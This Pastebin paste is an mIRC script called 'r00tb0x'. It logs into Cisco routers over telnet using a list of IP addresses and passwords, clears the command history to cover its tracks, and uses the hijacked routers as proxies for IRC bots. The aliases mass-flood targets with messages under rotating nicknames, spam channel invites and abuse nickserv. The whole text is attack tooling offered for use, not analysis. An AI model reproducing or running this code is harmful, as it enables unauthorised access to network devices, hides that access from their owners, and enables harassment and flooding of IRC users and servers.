Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- alias cload {
- set %cisco.lines $lines(%cisco.file)
- set %cisco $r(1,%cisco.lines)
- sockopen cisco $+ $r(999,999999999999999999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
- sockopen cisco $+ $r(999,999999999999999999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
- }
- alias creconnect {
- sockwrite -nt cisco* QUIT $1-
- sockwrite -nt cisco* CONNECT %server %port
- }
- alias cw {
- sockwrite -nt cisco* $1-
- }
- alias cnick2 { var %var = 1
- while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $1 $+ $rand(99,999) $+ $rand(99,999)
- inc %var 1
- }
- }
- alias cnick { var %var = 1
- while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $read(ID.txt), %nick $+ %var)
- inc %var 1
- }
- }
- alias cnick2 {
- set %var 1
- sockwrite -n $sock(cisco*, %var) NICK Guest $+ $r(99999,9999999)
- inc %var
- }
- alias creg {
- sockwrite -nt cisco* PRIVMSG nickserv REGISTER bot1234 bots@bots.com
- }
- alias cdrop {
- sockwrite -nt cisco* PRIVMSG nickserv DROP
- }
- alias cjoin {
- sockwrite -nt cisco* JOIN $1
- }
- alias cpart {
- sockwrite -nt cisco* part $1
- }
- alias cquit {
- sockwrite -nt cisco* QUIT $1-
- sockwrite -nt cisco* terminal history size 0
- }
- alias chistory {
- sockwrite -nt cisco* terminal history size 0
- }
- alias cclose {
- sockclose cisco*
- }
- alias cchop {
- sockwrite -nt cisco* JOIN $1-
- sockwrite -nt cisco* PART $1-
- }
- alias cmsg {
- sockwrite -nt cisco* PRIVMSG $1-
- }
- alias cnotice {
- sockwrite -nt cisco* NOTICE $1-
- }
- alias chop {
- sockwrite -nt cisco* PART $1-
- sockwrite -nt cisco* JOIN $1-
- }
- alias cinvite {
- set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
- sockwrite -nt cisco* JOIN %chan
- sockwrite -nt cisco* INVITE $1 %chan
- set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
- sockwrite -nt cisco* JOIN %chan
- sockwrite -nt cisco* INVITE $1 %chan
- set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
- sockwrite -nt cisco* JOIN %chan
- sockwrite -nt cisco* INVITE $1 %chan
- set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
- sockwrite -nt cisco* JOIN %chan
- sockwrite -nt cisco* INVITE $1 %chan
- set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
- sockwrite -nt cisco* JOIN %chan
- sockwrite -nt cisco* INVITE $1 %chan
- set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
- sockwrite -nt cisco* JOIN %chan
- sockwrite -nt cisco* INVITE $1 %chan
- }
- alias cflood {
- set %target $1
- set %target.text $2-
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- sockwrite -nt cisco* PRIVMSG %target %target.text
- cnick
- }
- alias cchanflood {
- set %target.text $2-
- sockwrite -nt cisco* JOIN $1
- sockwrite -nt cisco* PRIVMSG %target.text
- cnick
- cnick
- }
- on *:sockopen:cisco*: {
- sockwrite -nt $sockname $gettok($read(%cisco.file, %cisco), 2, 32)
- sockwrite -nt $sockname terminal history size 0
- sockwrite -nt $sockname connect %server %port
- sockwrite -n $sockname USER $read(ID.txt) $read(ID.txt) $read(ID.txt) $read(ID.txt)
- sockwrite -n $sockname NICK $read(ID.txt)
- window @status
- .write lol.txt r00tb0x: Logging in: $sock($sockname).ip
- }
- on *:sockread:cisco*: {
- sockread %tmp
- tokenize 32 %tmp
- window @status
- .echo @status $sock($sockname).ip - %tmp
- sockwrite -nt cisco* CONNECT %server %port
- sockwrite -nt cisco* USER root :r00tbot
- .timer 1 1 sockwrite -nt cisco* JOIN %home.chan
- if (:version == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :VERSION $+($botversion,) }
- if ($sockerr || !%tmp) { return | window @broken | echo @broken $sockname }
- if ($gettok(%tmp,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%tmp,2-,32) }
- halt
- }
- alias botversion {
- return -o0o- r00tb0x _ver 1.0b -o0o-
- }
- alias botsend sockwrite -tn $sockname
- alias botread return $remove($1,:)
- alias sockbotread {
- if (:version == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :VERSION $+($botversion,) }
- if ($4 == :TIME) { sockwrite -tn $sockname :TIME $time(hh:nn:sstt) $+ }
- }
- alias -l cgsbwin {
- aline -pt 10 @status $timestamp * $botversion
- aline -pt @status $+(@,$1) $timestamp $3-
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement